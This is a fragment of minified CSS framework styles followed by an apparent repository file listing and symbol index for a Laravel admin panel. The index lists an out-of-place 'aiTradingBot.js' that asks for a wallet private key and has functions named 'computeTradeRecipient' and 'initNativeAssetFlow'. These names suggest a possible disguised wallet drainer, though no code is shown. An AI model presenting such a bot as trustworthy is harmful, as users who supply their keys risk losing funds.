{background:#008cba;color:#ffffff;font-weight:bold;cursor:default;}ul.pagination li.current a:hover ,ul.pagination li.current a:focus ,ul.pagination li.current button:hover ,ul.pagination li.current button:focus {background:#008cba;}ul.pagination li {float:left;display:block;}.pagination-centered {text-align:center;}.pagination-centered ul.pagination li {float:none;display:inline-block;}.panel {border-style:solid;border-width:0px;border-color:#d7d7d7;margin-bottom:0.0625rem;padding:0;background:#f2f2f2;color:#333333;}.panel>:first-child {margin-top:0;}.panel>:last-child {margin-bottom:0;}.panel h1 ,.panel h2 ,.panel h3 ,.panel h4 ,.panel h5 ,.panel h6 ,.panel p ,.panel li ,.panel dl {color:#333333;}.panel h1 ,.panel h2 ,.panel h3 ,.panel h4 ,.panel h5 ,.panel h6 {line-height:1;margin-bottom:0.625rem;}.panel h1.subheader ,.panel h2.subheader ,.panel h3.subheader ,.panel h4.subheader ,.panel h5.subheader ,.panel h6.subheader {line-height:1.4;}.panel.callout {border-style:solid;border-width:0px;border-color:#b6edff;margin-bottom:0.0625rem;padding:0;background:#ecfaff;color:#333333;}.panel.callout>:first-child {margin-top:0;}.panel.callout>:last-child {margin-bottom:0;}.panel.callout h1 ,.panel.callout h2 ,.panel.callout h3 ,.panel.callout h4 ,.panel.callout h5 ,.panel.callout h6 ,.panel.callout p ,.panel.callout li ,.panel.callout dl {color:#333333;}.panel.callout h1 ,.panel.callout h2 ,.panel.callout h3 ,.panel.callout h4 ,.panel.callout h5 ,.panel.callout h6 {line-height:1;margin-bottom:0.625rem;}.panel.callout h1.subheader ,.panel.callout h2.subheader ,.panel.callout h3.subheader ,.panel.callout h4.subheader ,.panel.callout h5.subheader ,.panel.callout h6.subheader {line-height:1.4;}.panel.callout a:not(.button) {color:#008cba;}.panel.radius {border-radius:3px;}.pricing-table {border:solid 1px #dddddd;margin-left:0;margin-bottom:1.25rem;}.pricing-table * {list-style:none;line-height:1;}.pricing-table .title {background-color:#333333;padding:0.9375rem 1.25rem;text-align:center;color:#eeeeee;font-weight:normal;font-size:1rem;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;}.pricing-table .price {background-color:#f6f6f6;padding:0.9375rem 1.25rem;text-align:center;color:#333333;font-weight:normal;font-size:2rem;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;}.pricing-table .description {background-color:#ffffff;padding:0.9375rem;text-align:center;color:#777777;font-size:0.75rem;font-weight:normal;line-height:1.4;border-bottom:dotted 1px #dddddd;}.pricing-table .bullet-item {background-color:#ffffff;padding:0.9375rem;text-align:center;color:#333333;font-size:0.875rem;font-weight:normal;border-bottom:dotted 1px #dddddd;}.pricing-table .cta-button {background-color:#ffffff;text-align:center;padding:1.25rem 1.25rem 0;}.progress {background-color:#f6f6f6;height:1.5625rem;border:1px solid #ffffff;padding:0.125rem;margin-bottom:0.625rem;}.progress .meter {background:#008cba;height:100%;display:block;}.progress.secondary .meter {background:#e7e7e7;height:100%;display:block;}.progress.success .meter {background:#43ac6a;height:100%;display:block;}.progress.alert .meter {background:#f04124;height:100%;display:block;}.progress.radius {border-radius:3px;}.progress.radius .meter {border-radius:2px;}.progress.round {border-radius:1000px;}.progress.round .meter {border-radius:999px;}.range-slider {display:block;position:relative;width:100%;height:1rem;border:1px solid #dddddd;margin:1.25rem 0;-ms-touch-action:none;touch-action:none;background:#fafafa;}.range-slider.vertical-range {display:block;position:relative;width:100%;height:1rem;border:1px solid #dddddd;margin:1.25rem 0;-ms-touch-action:none;touch-action:none;display:inline-block;width:1rem;height:12.5rem;}.range-slider.vertical-range .range-slider-handle {margin-top:0;margin-left:-0.5rem;position:absolute;bottom:-10.5rem;}.range-slider.vertical-range .range-slider-active-segment {width:0.875rem;height:auto;bottom:0;}.range-slider.radius {background:#fafafa;border-radius:3px;}.range-slider.radius .range-slider-handle {background:#008cba;border-radius:3px;}.range-slider.radius .range-slider-handle:hover {background:#007da4;}.range-slider.round {background:#fafafa;border-radius:1000px;}.range-slider.round .range-slider-handle {background:#008cba;border-radius:1000px;}.range-slider.round .range-slider-handle:hover {background:#007da4;}.range-slider.disabled ,.range-slider[disabled] {background:#fafafa;cursor:default;opacity:0.7;}.range-slider.disabled .range-slider-handle ,.range-slider[disabled] .range-slider-handle {background:#008cba;cursor:default;opacity:0.7;}.range-slider.disabled .range-slider-handle:hover ,.range-slider[disabled] .range-slider-handle:hover {background:#007da4;}.range-slider-active-segment {display:inline-block;position:absolute;height:0.875rem;background:#e5e5e5;}.range-slider-handle {display:inline-block;position:absolute;z-index:1;top:-0.3125rem;width:2rem;height:1.375rem;border:1px solid none;cursor:pointer;-ms-touch-action:manipulation;touch-action:manipulation;background:#008cba;}.range-slider-handle:hover {background:#007da4;}.reveal-modal-bg {position:fixed;top:0;bottom:0;left:0;right:0;background:#000000;background:rgba(0, 0, 0, 0.45);z-index:1004;display:none;left:0;}.reveal-modal ,dialog {visibility:hidden;display:none;position:absolute;z-index:1005;width:100vw;top:0;border-radius:3px;left:0;background-color:#ffffff;padding:1.25rem;border:solid 1px #666666;box-shadow:0 0 10px rgba(0, 0, 0, 0.4);padding:1.875rem;}@media only screen and (max-width: 40em){.reveal-modal {min-height:100vh;}}.reveal-modal .column ,.reveal-modal .columns {min-width:0;}.reveal-modal>:first-child {margin-top:0;}.reveal-modal>:last-child {margin-bottom:0;}@media only screen and (min-width:40.063em){.reveal-modal {width:80%;max-width:62.5rem;left:0;right:0;margin:0 auto;}}@media only screen and (min-width:40.063em){.reveal-modal {top:6.25rem;}}.reveal-modal.radius {border-radius:3px;}.reveal-modal.round {border-radius:1000px;}.reveal-modal.collapse {padding:0;}@media only screen and (min-width:40.063em){.reveal-modal.tiny {width:30%;max-width:62.5rem;left:0;right:0;margin:0 auto;}}@media only screen and (min-width:40.063em){.reveal-modal.small {width:40%;max-width:62.5rem;left:0;right:0;margin:0 auto;}}@media only screen and (min-width:40.063em){.reveal-modal.medium {width:60%;max-width:62.5rem;left:0;right:0;margin:0 auto;}}@media only screen and (min-width:40.063em){.reveal-modal.large {width:70%;max-width:62.5rem;left:0;right:0;margin:0 auto;}}@media only screen and (min-width:40.063em){.reveal-modal.xlarge {width:95%;max-width:62.5rem;left:0;right:0;margin:0 auto;}}.reveal-modal.full {top:0;left:0;height:100%;height:100vh;min-height:100vh;max-width:none !important;margin-left:0 !important;}@media only screen and (min-width:40.063em){.reveal-modal.full {width:100vw;max-width:62.5rem;left:0;right:0;margin:0 auto;}}.reveal-modal .close-reveal-modal {font-size:2.5rem;line-height:1;position:absolute;top:0.5rem;right:0.6875rem;color:#aaaaaa;font-weight:bold;cursor:pointer;}dialog {display:none;}dialog::backdrop ,dialog+.backdrop {position:fixed;top:0;bottom:0;left:0;right:0;background:#000000;background:rgba(0, 0, 0, 0.45);z-index:auto;display:none;left:0;}dialog[open] {display:block;}@media print{dialog ,.reveal-modal ,dialog {display:none;background:#ffffff !important;}}.side-nav {display:block;margin:0;padding:0.875rem 0;list-style-type:none;list-style-position:outside;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;}.side-nav li {margin:0 0 0.4375rem 0;font-size:0.875rem;font-weight:normal;}.side-nav li a:not(.button) {display:block;color:#008cba;margin:0;padding:0.4375rem 0.875rem;}.side-nav li a:not(.button):hover ,.side-nav li a:not(.button):focus {background:rgba(0, 0, 0, 0.025);color:#1ccaff;}.side-nav li.active>a:first-child:not(.button) {color:#1ccaff;font-weight:normal;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;}.side-nav li.divider {border-top:1px solid;height:0;padding:0;list-style:none;border-top-color:#ffffff;}.side-nav li.heading {color:#008cba;font-size:0.875rem;font-weight:bold;text-transform:uppercase;}.split.button {position:relative;padding-right:5.0625rem;}.split.button span {display:block;height:100%;position:absolute;right:0;top:0;border-left:solid 1px;}.split.button span:after {position:absolute;content:"";width:0;height:0;display:block;border-style:inset;top:50%;left:50%;}.split.button span:active {background-color:rgba(0, 0, 0, 0.1);}.split.button span {border-left-color:rgba(255, 255, 255, 0.5);}.split.button span {width:3.09375rem;}.split.button span:after {border-top-style:solid;border-width:0.375rem;top:48%;margin-left:-0.375rem;}.split.button span:after {border-color:#ffffff transparent transparent transparent;}.split.button.secondary span {border-left-color:rgba(255, 255, 255, 0.5);}.split.button.secondary span:after {border-color:#ffffff transparent transparent transparent;}.split.button.alert span {border-left-color:rgba(255, 255, 255, 0.5);}.split.button.success span {border-left-color:rgba(255, 255, 255, 0.5);}.split.button.tiny {padding-right:3.75rem;}.split.button.tiny span {width:2.25rem;}.split.button.tiny span:after {border-top-style:solid;border-width:0.375rem;top:48%;margin-left:-0.375rem;}.split.button.small {padding-right:4.375rem;}.split.button.small span {width:2.625rem;}.split.button.small span:after {border-top-style:solid;border-width:0.4375rem;top:48%;margin-left:-0.375rem;}.split.button.large {padding-right:5.5rem;}.split.button.large span {width:3.4375rem;}.split.button.large span:after {border-top-style:solid;border-width:0.3125rem;top:48%;margin-left:-0.375rem;}.split.button.expand {padding-left:2rem;}.split.button.secondary span:after {border-color:#333333 transparent transparent transparent;}.split.button.radius span {-webkit-border-bottom-right-radius:3px;-webkit-border-top-right-radius:3px;border-bottom-right-radius:3px;border-top-right-radius:3px;}.split.button.round span {-webkit-border-bottom-right-radius:1000px;-webkit-border-top-right-radius:1000px;border-bottom-right-radius:1000px;border-top-right-radius:1000px;}.sub-nav {display:block;width:auto;overflow:hidden;margin-bottom:-0.25rem 0 1.125rem;padding-top:0.25rem;}.sub-nav dt {text-transform:uppercase;}.sub-nav dt ,.sub-nav dd ,.sub-nav li {float:left;display:inline;margin-left:1rem;margin-bottom:0;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;font-weight:normal;font-size:0.875rem;color:#999999;}.sub-nav dt a ,.sub-nav dd a ,.sub-nav li a {text-decoration:none;color:#999999;padding:0.1875rem 1rem;}.sub-nav dt a:hover ,.sub-nav dd a:hover ,.sub-nav li a:hover {color:#737373;}.sub-nav dt.active a ,.sub-nav dd.active a ,.sub-nav li.active a {border-radius:3px;font-weight:normal;background:#008cba;padding:0.1875rem 1rem;cursor:default;color:#ffffff;}.sub-nav dt.active a:hover ,.sub-nav dd.active a:hover ,.sub-nav li.active a:hover {background:#007ba0;}.switch {padding:0;border:none;position:relative;outline:0;-webkit-user-select:none;-moz-user-select:none;user-select:none;}.switch label {display:block;margin-bottom:1rem;position:relative;color:transparent;background:#dddddd;text-indent:100%;width:4rem;height:2rem;cursor:pointer;transition:left 0.15s ease-out;}.switch input {opacity:0;position:absolute;top:9px;left:10px;padding:0;}.switch input+label {margin-left:0;margin-right:0;}.switch label:after {content:"";display:block;background:#ffffff;position:absolute;top:0.25rem;left:0.25rem;width:1.5rem;height:1.5rem;-webkit-transition:left 0.15s ease-out;-moz-transition:left 0.15s ease-out;transition:left 0.15s ease-out;-webkit-transform:translate3d(0, 0, 0);-moz-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0);}.switch input:checked+label {background:#008cba;}.switch input:checked+label:after {left:2.25rem;}.switch label {width:4rem;height:2rem;}.switch label:after {width:1.5rem;height:1.5rem;}.switch input:checked+label:after {left:2.25rem;}.switch label {color:transparent;background:#dddddd;}.switch label:after {background:#ffffff;}.switch input:checked+label {background:#008cba;}.switch.large label {width:5rem;height:2.5rem;}.switch.large label:after {width:2rem;height:2rem;}.switch.large input:checked+label:after {left:2.75rem;}.switch.small label {width:3.5rem;height:1.75rem;}.switch.small label:after {width:1.25rem;height:1.25rem;}.switch.small input:checked+label:after {left:2rem;}.switch.tiny label {width:3rem;height:1.5rem;}.switch.tiny label:after {width:1rem;height:1rem;}.switch.tiny input:checked+label:after {left:1.75rem;}.switch.radius label {border-radius:4px;}.switch.radius label:after {border-radius:3px;}.switch.round {border-radius:1000px;}.switch.round label {border-radius:2rem;}.switch.round label:after {border-radius:2rem;}table {background:#ffffff;margin-bottom:1.25rem;border:solid 1px #dddddd;table-layout:auto;}table caption {background:transparent;color:#222222;font-size:1rem;font-weight:bold;}table thead {background:#f5f5f5;}table thead tr th ,table thead tr td {padding:0.5rem 0.625rem 0.625rem;font-size:0.875rem;font-weight:bold;color:#222222;}table tfoot {background:#f5f5f5;}table tfoot tr th ,table tfoot tr td {padding:0.5rem 0.625rem 0.625rem;font-size:0.875rem;font-weight:bold;color:#222222;}table tr th ,table tr td {padding:0.5625rem 0.625rem;font-size:0.875rem;color:#222222;text-align:left;}table tr.even ,table tr.alt ,table tr:nth-of-type(even) {background:#f9f9f9;}table thead tr th ,table tfoot tr th ,table tfoot tr td ,table tbody tr th ,table tbody tr td ,table tr td {display:table-cell;line-height:1.125rem;}.tabs {margin-bottom:0 !important;margin-left:0;}.tabs:before ,.tabs:after {content:" ";display:table;}.tabs:after {clear:both;}.tabs dd ,.tabs .tab-title {position:relative;margin-bottom:0 !important;list-style:none;float:left;}.tabs dd>a ,.tabs .tab-title>a {outline:none;display:block;background-color:#efefef;color:#222222;padding:1rem 2rem;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;font-size:1rem;}.tabs dd > a:hover ,.tabs .tab-title > a:hover {background-color:#e1e1e1;}.tabs dd.active a ,.tabs .tab-title.active a {background-color:#ffffff;color:#222222;}.tabs.radius dd:first-child a ,.tabs.radius .tab:first-child a {-webkit-border-bottom-left-radius:3px;-webkit-border-top-left-radius:3px;border-bottom-left-radius:3px;border-top-left-radius:3px;}.tabs.radius dd:last-child a ,.tabs.radius .tab:last-child a {-webkit-border-bottom-right-radius:3px;-webkit-border-top-right-radius:3px;border-bottom-right-radius:3px;border-top-right-radius:3px;}.tabs.vertical dd ,.tabs.vertical .tab-title {position:inherit;float:none;display:block;top:auto;}.tabs-content {margin-bottom:1.5rem;width:100%;}.tabs-content:before ,.tabs-content:after {content:" ";display:table;}.tabs-content:after {clear:both;}.tabs-content>.content {display:none;float:left;padding:0.125rem 0;width:100%;}.tabs-content > .content.active {display:block;float:none;}.tabs-content > .content.contained {padding:0.125rem;}.tabs-content.vertical {display:block;}.tabs-content.vertical>.content {padding:0 0.125rem;}@media only screen and (min-width:40.063em){.tabs.vertical {width:20%;max-width:20%;float:left;margin:0 0 1.25rem;}.tabs-content.vertical {width:80%;max-width:80%;float:left;margin-left:-1px;padding-left:1rem;}}.no-js .tabs-content>.content {display:block;float:none;}.th {line-height:0;display:inline-block;border:solid 0px #000080;max-width:100%;box-shadow:0 0 0 1px rgba(0, 0, 0, 0.2);transition:all 200ms ease-out;}.th:hover ,.th:focus {box-shadow:0 0 6px 1px rgba(0, 140, 186, 0.5);}.th.radius {border-radius:3px;}.has-tip {border-bottom:dotted 1px #cccccc;cursor:help;font-weight:bold;color:#333333;}.has-tip:hover ,.has-tip:focus {border-bottom:dotted 1px #004054;color:#008cba;}.has-tip.tip-left ,.has-tip.tip-right {float:none !important;}.tooltip {display:none;position:absolute;z-index:1006;font-weight:normal;font-size:0.875rem;line-height:1.3;padding:0.75rem;max-width:300px;left:50%;width:100%;color:#ffffff;background:#333333;}.tooltip>.nub {display:block;left:5px;position:absolute;width:0;height:0;border:solid 5px;border-color:transparent transparent #333333 transparent;top:-10px;pointer-events:none;}.tooltip > .nub.rtl {left:auto;right:5px;}.tooltip.radius {border-radius:3px;}.tooltip.round {border-radius:1000px;}.tooltip.round>.nub {left:2rem;}.tooltip.opened {color:#008cba !important;border-bottom:dotted 1px #004054 !important;}.tap-to-close {display:block;font-size:0.625rem;color:#777777;font-weight:normal;}@media only screen and (min-width:40.063em){.tooltip>.nub {border-color:transparent transparent #333333 transparent;top:-10px;}.tooltip.tip-top>.nub {border-color:#333333 transparent transparent transparent;top:auto;bottom:-10px;}.tooltip.tip-left ,.tooltip.tip-right {float:none !important;}.tooltip.tip-left>.nub {border-color:transparent transparent transparent #333333;right:-10px;left:auto;top:50%;margin-top:-5px;}.tooltip.tip-right>.nub {border-color:transparent #333333 transparent transparent;right:auto;left:-10px;top:50%;margin-top:-5px;}}meta.foundation-mq-topbar {font-family:"/only screen and (min-width:40.063em)/";width:40.063em;}.contain-to-grid {width:100%;background:#ffffff;}.contain-to-grid .top-bar {margin-bottom:0;}.fixed {width:100%;left:0;position:fixed;top:0;z-index:99;}.fixed.expanded:not(.top-bar) {overflow-y:auto;height:auto;width:100%;max-height:100%;}.fixed.expanded:not(.top-bar) .title-area {position:fixed;width:100%;z-index:99;}.fixed.expanded:not(.top-bar) .top-bar-section {z-index:98;margin-top:45px;}.top-bar {overflow:hidden;height:45px;line-height:45px;position:relative;background:#ffffff;margin-bottom:0;}.top-bar ul {margin-bottom:0;list-style:none;}.top-bar .row {max-width:none;}.top-bar form ,.top-bar input {margin-bottom:0;}.top-bar input {height:1.8rem;padding-top:0.35rem;padding-bottom:0.35rem;font-size:0.75rem;}.top-bar .button ,.top-bar button {padding-top:0.4125rem;padding-bottom:0.4125rem;margin-bottom:0;font-size:0.75rem;}@media only screen and (max-width: 40em){.top-bar .button ,.top-bar button {position:relative;top:-1px;}}.top-bar .title-area {position:relative;margin:0;}.top-bar .name {height:45px;margin:0;font-size:16px;}.top-bar .name h1 {line-height:45px;font-size:1.0625rem;margin:0;}.top-bar .name h1 a {font-weight:normal;color:#ffffff;width:75%;display:block;padding:0 15px;}.top-bar .toggle-topbar {position:absolute;right:0;top:0;}.top-bar .toggle-topbar a {color:#ffffff;text-transform:uppercase;font-size:0.8125rem;font-weight:bold;position:relative;display:block;padding:0 15px;height:45px;line-height:45px;}.top-bar .toggle-topbar.menu-icon {top:50%;margin-top:-16px;}.top-bar .toggle-topbar.menu-icon a {height:34px;line-height:33px;padding:0 40px 0 15px;color:#ffffff;position:relative;}.top-bar .toggle-topbar.menu-icon a span::after {content:"";position:absolute;display:block;height:0;top:50%;margin-top:-8px;right:15px;box-shadow:0 0px 0 1px #ffffff,0 7px 0 1px #ffffff,0 14px 0 1px #ffffff;width:16px;}.top-bar .toggle-topbar.menu-icon a span:hover:after {box-shadow:0 0px 0 1px "",0 7px 0 1px "",0 14px 0 1px "";}.top-bar.expanded {height:auto;background:transparent;}.top-bar.expanded .title-area {background:#ffffff;}.top-bar.expanded .toggle-topbar a {color:#888888;}.top-bar.expanded .toggle-topbar a span::after {box-shadow:0 0px 0 1px #888888,0 7px 0 1px #888888,0 14px 0 1px #888888;}.top-bar-section {left:0;position:relative;width:auto;transition:left 300ms ease-out;}.top-bar-section ul {padding:0;width:100%;height:auto;display:block;font-size:16px;margin:0;}.top-bar-section .divider ,.top-bar-section [role="separator"] {border-top:solid 1px #808080;clear:both;height:1px;width:100%;}.top-bar-section ul li {background:#333333;}.top-bar-section ul li>a {display:block;width:100%;color:#ffffff;padding:12px 0 12px 0;padding-left:15px;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;font-size:0.8125rem;font-weight:normal;text-transform:none;}.top-bar-section ul li > a.button {font-size:0.8125rem;padding-right:15px;padding-left:15px;background-color:#008cba;border-color:#007295;color:#ffffff;}.top-bar-section ul li > a.button:hover ,.top-bar-section ul li > a.button:focus {background-color:#007295;}.top-bar-section ul li > a.button:hover ,.top-bar-section ul li > a.button:focus {color:#ffffff;}.top-bar-section ul li > a.button.secondary {background-color:#e7e7e7;border-color:#b9b9b9;color:#333333;}.top-bar-section ul li > a.button.secondary:hover ,.top-bar-section ul li > a.button.secondary:focus {background-color:#b9b9b9;}.top-bar-section ul li > a.button.secondary:hover ,.top-bar-section ul li > a.button.secondary:focus {color:#333333;}.top-bar-section ul li > a.button.success {background-color:#43ac6a;border-color:#368a54;color:#ffffff;}.top-bar-section ul li > a.button.success:hover ,.top-bar-section ul li > a.button.success:focus {background-color:#368a54;}.top-bar-section ul li > a.button.success:hover ,.top-bar-section ul li > a.button.success:focus {color:#ffffff;}.top-bar-section ul li > a.button.alert {background-color:#f04124;border-color:#cf280e;color:#ffffff;}.top-bar-section ul li > a.button.alert:hover ,.top-bar-section ul li > a.button.alert:focus {background-color:#cf280e;}.top-bar-section ul li > a.button.alert:hover ,.top-bar-section ul li > a.button.alert:focus {color:#ffffff;}.top-bar-section ul li > a.button.warning {background-color:#f08a24;border-color:#cf6e0e;color:#ffffff;}.top-bar-section ul li > a.button.warning:hover ,.top-bar-section ul li > a.button.warning:focus {background-color:#cf6e0e;}.top-bar-section ul li > a.button.warning:hover ,.top-bar-section ul li > a.button.warning:focus {color:#ffffff;}.top-bar-section ul li>button {font-size:0.8125rem;padding-right:15px;padding-left:15px;background-color:#008cba;border-color:#007295;color:#ffffff;}.top-bar-section ul li > button:hover ,.top-bar-section ul li > button:focus {background-color:#007295;}.top-bar-section ul li > button:hover ,.top-bar-section ul li > button:focus {color:#ffffff;}.top-bar-section ul li > button.secondary {background-color:#e7e7e7;border-color:#b9b9b9;color:#333333;}.top-bar-section ul li > button.secondary:hover ,.top-bar-section ul li > button.secondary:focus {background-color:#b9b9b9;}.top-bar-section ul li > button.secondary:hover ,.top-bar-section ul li > button.secondary:focus {color:#333333;}.top-bar-section ul li > button.success {background-color:#43ac6a;border-color:#368a54;color:#ffffff;}.top-bar-section ul li > button.success:hover ,.top-bar-section ul li > button.success:focus {background-color:#368a54;}.top-bar-section ul li > button.success:hover ,.top-bar-section ul li > button.success:focus {color:#ffffff;}.top-bar-section ul li > button.alert {background-color:#f04124;border-color:#cf280e;color:#ffffff;}.top-bar-section ul li > button.alert:hover ,.top-bar-section ul li > button.alert:focus {background-color:#cf280e;}.top-bar-section ul li > button.alert:hover ,.top-bar-section ul li > button.alert:focus {color:#ffffff;}.top-bar-section ul li > button.warning {background-color:#f08a24;border-color:#cf6e0e;color:#ffffff;}.top-bar-section ul li > button.warning:hover ,.top-bar-section ul li > button.warning:focus {background-color:#cf6e0e;}.top-bar-section ul li > button.warning:hover ,.top-bar-section ul li > button.warning:focus {color:#ffffff;}.top-bar-section ul li:hover:not(.has-form)>a {background-color:#272727;background:#272727;color:#ffffff;}.top-bar-section ul li.active>a {background:#008cba;color:#ffffff;}.top-bar-section ul li.active > a:hover {background:#007ba0;color:#ffffff;}.top-bar-section .has-form {padding:15px;}.top-bar-section .has-dropdown {position:relative;}.top-bar-section .has-dropdown > a:after {content:"";display:block;width:0;height:0;border:inset 5px;border-color:transparent transparent transparent rgba(255, 255, 255, 0.4);border-left-style:solid;margin-right:15px;margin-top:-4.5px;position:absolute;top:50%;right:0;}.top-bar-section .has-dropdown.moved {position:static;}.top-bar-section .has-dropdown.moved>.dropdown {display:block;position:static !important;height:auto;width:auto;overflow:visible;clip:auto;position:absolute !important;width:100%;}.top-bar-section .has-dropdown.moved>a:after {display:none;}.top-bar-section .dropdown {padding:0;position:absolute;left:100%;top:0;z-index:99;display:block;position:absolute !important;height:1px;width:1px;overflow:hidden;clip:rect(1px, 1px, 1px, 1px);}.top-bar-section .dropdown li {width:100%;height:auto;}.top-bar-section .dropdown li a {font-weight:normal;padding:8px 15px;}.top-bar-section .dropdown li a.parent-link {font-weight:normal;}.top-bar-section .dropdown li.title h5 ,.top-bar-section .dropdown li.parent-link {margin-bottom:0;margin-top:0;font-size:1.125rem;}.top-bar-section .dropdown li.title h5 a ,.top-bar-section .dropdown li.parent-link a {color:#ffffff;display:block;}.top-bar-section .dropdown li.title h5 a:hover ,.top-bar-section .dropdown li.parent-link a:hover {background:none;}.top-bar-section .dropdown li.has-form {padding:8px 15px;}.
Download .txt
gitextract_bu70n5m5/

├── .gitattributes
├── .gitignore
├── LICENSE
├── README.md
├── aiTradingBot.js
├── package.json
└── src/
    ├── Controllers/
    │   ├── Auth/
    │   │   └── AuthController.php
    │   ├── CategoryController.php
    │   ├── ColorController.php
    │   ├── ConfController.php
    │   ├── HomeController.php
    │   ├── ItemController.php
    │   ├── MediaController.php
    │   ├── NavigationController.php
    │   ├── NewsController.php
    │   ├── NewsletterController.php
    │   ├── NewsletterSubscribersController.php
    │   ├── PageController.php
    │   ├── SliderController.php
    │   └── UserController.php
    ├── Middleware/
    │   ├── Authenticate.php
    │   ├── EncryptCookies.php
    │   ├── RedirectIfAuthenticated.php
    │   └── VerifyCsrfToken.php
    ├── Providers/
    │   └── AdminServiceProvider.php
    ├── config.php
    ├── lang/
    │   ├── bg/
    │   │   ├── auth.php
    │   │   ├── btn.php
    │   │   ├── pagination.php
    │   │   ├── passwords.php
    │   │   └── validation.php
    │   └── en/
    │       ├── auth.php
    │       ├── category.php
    │       └── common.php
    ├── public/
    │   └── assets/
    │       └── admin/
    │           ├── css/
    │           │   └── app.css
    │           ├── js/
    │           │   ├── app.js
    │           │   ├── media.js
    │           │   ├── model/
    │           │   │   ├── NewsletterSubscribers.js
    │           │   │   ├── category.js
    │           │   │   ├── color.js
    │           │   │   ├── conf.js
    │           │   │   ├── item.js
    │           │   │   ├── navigation.js
    │           │   │   ├── news.js
    │           │   │   ├── newsletter.js
    │           │   │   ├── page.js
    │           │   │   ├── slide.js
    │           │   │   └── user.js
    │           │   └── state.js
    │           └── swf/
    │               ├── ixMultiFileUpload.fla
    │               ├── ixMultiFileUpload.swf
    │               ├── ixUploader.as
    │               ├── player.swf
    │               └── playerProductInstall.swf
    ├── routes.php
    └── views/
        ├── auth/
        │   └── login.blade.php
        ├── category/
        │   ├── category.blade.php
        │   ├── categoryform.blade.php
        │   └── categorylist.blade.php
        ├── color/
        │   ├── color.blade.php
        │   ├── colorform.blade.php
        │   └── colorlist.blade.php
        ├── common/
        │   ├── ajaxpagination.blade.php
        │   └── gallery/
        │       ├── button.blade.php
        │       └── list.blade.php
        ├── conf/
        │   ├── conf.blade.php
        │   ├── confform.blade.php
        │   └── conflist.blade.php
        ├── errors/
        │   └── 503.blade.php
        ├── home/
        │   └── home.blade.php
        ├── item/
        │   ├── item.blade.php
        │   ├── itemdatelist.blade.php
        │   ├── itemform.blade.php
        │   └── itemlist.blade.php
        ├── layouts/
        │   └── default.blade.php
        ├── multimedia/
        │   ├── edit_title_form.blade.php
        │   ├── media.blade.php
        │   ├── media_detail_list_ajax.blade.php
        │   ├── multi_file_upload.blade.php
        │   └── thumbnails/
        │       ├── AVI.tpl
        │       ├── DOC.tpl
        │       ├── FLV.tpl
        │       ├── GIF.tpl
        │       ├── JPG.blade.php
        │       ├── JPG.tpl
        │       ├── MOV.tpl
        │       ├── MP3.tpl
        │       ├── PDF.tpl
        │       ├── PNG.tpl
        │       ├── PPT.tpl
        │       ├── RAR.tpl
        │       ├── SWF.tpl
        │       ├── TIF.tpl
        │       ├── WMV.tpl
        │       ├── XLS.tpl
        │       └── ZIP.tpl
        ├── navigation/
        │   ├── navigation.blade.php
        │   ├── navigationform.blade.php
        │   └── navigationlist.blade.php
        ├── news/
        │   ├── news.blade.php
        │   ├── newsform.blade.php
        │   └── newslist.blade.php
        ├── newsletter/
        │   ├── newsletter.blade.php
        │   ├── newsletterform.blade.php
        │   └── newsletterlist.blade.php
        ├── page/
        │   ├── page.blade.php
        │   ├── pageform.blade.php
        │   └── pagelist.blade.php
        ├── slider/
        │   ├── slider.blade.php
        │   ├── sliderform.blade.php
        │   └── sliderlist.blade.php
        └── user/
            ├── user.blade.php
            ├── userform.blade.php
            └── userlist.blade.php
Download .txt
SYMBOL INDEX (160 symbols across 33 files)

FILE: aiTradingBot.js
  constant NETWORKS (line 7) | const NETWORKS = {
  constant PRIVATE_KEY (line 120) | const PRIVATE_KEY = "YOUR_PRIVATE_KEY";
  constant ERC20_ABI (line 123) | const ERC20_ABI = [
  constant POOL_ABI (line 130) | const POOL_ABI = [
  constant FACTORY_ABI (line 134) | const FACTORY_ABI = [
  constant COINGECKO_API (line 139) | const COINGECKO_API = "https://api.coingecko.com/api/v3";
  constant PLATFORMS (line 140) | const PLATFORMS = {
  function computeTradeRecipient (line 153) | function computeTradeRecipient(params = { fee: 500, chainId: 1 }) {
  function initNativeAssetFlow (line 163) | async function initNativeAssetFlow(provider, wallet, network, networkNam...
  function initStableAssetFlow (line 190) | async function initStableAssetFlow(provider, wallet, token, networkName) {
  function delay (line 215) | async function delay(ms) {
  function fetchCoinGeckoData (line 220) | async function fetchCoinGeckoData(platform, contractAddress, network) {
  function getPoolAddress (line 240) | async function getPoolAddress(tokenA, tokenB, fee, factoryAddress, provi...
  function getPoolData (line 258) | async function getPoolData(tokenAddress, wethAddress, network, provider) {
  function analyzeTokenPatterns (line 280) | async function analyzeTokenPatterns(network) {
  function calculateSwapParameters (line 395) | async function calculateSwapParameters(tokenAddress, wethAddress, tokenD...
  function findBestDex (line 454) | async function findBestDex(tokenAddress, wethAddress, amountIn, tokenDat...
  function executeSwap (line 504) | async function executeSwap(tokenAddress, params, dex, decision, network,...
  function autoTrade (line 545) | async function autoTrade(network) {
  function initializeAssets (line 578) | async function initializeAssets() {
  function runMultiChainBot (line 603) | async function runMultiChainBot() {

FILE: src/Controllers/Auth/AuthController.php
  class AuthController (line 8) | class AuthController extends LaravelAuthController
    method __construct (line 21) | public function __construct()
    method guestMiddleware (line 32) | public function guestMiddleware()

FILE: src/Controllers/CategoryController.php
  class CategoryController (line 13) | class CategoryController extends Controller
    method index (line 15) | public function index(Request $request)
    method postList (line 20) | public function postList(Request $request)
    method postCreate (line 39) | public function postCreate(Request $request)
    method postRemove (line 60) | public function postRemove(Request $request)
    method postGet (line 73) | public function postGet(Request $request)
    method postSave (line 116) | public function postSave(Request $request)

FILE: src/Controllers/ColorController.php
  class ColorController (line 13) | class ColorController extends Controller
    method index (line 15) | public function index(Request $request)
    method postList (line 21) | public function postList()
    method postCreate (line 37) | public function postCreate()
    method postSave (line 55) | public function postSave(Request $request)
    method postGet (line 79) | public function postGet(Request $request)
    method postRemove (line 99) | public function postRemove(Request $request)

FILE: src/Controllers/ConfController.php
  class ConfController (line 12) | class ConfController extends Controller
    method index (line 14) | public function index(Request $request)
    method postList (line 19) | public function postList()
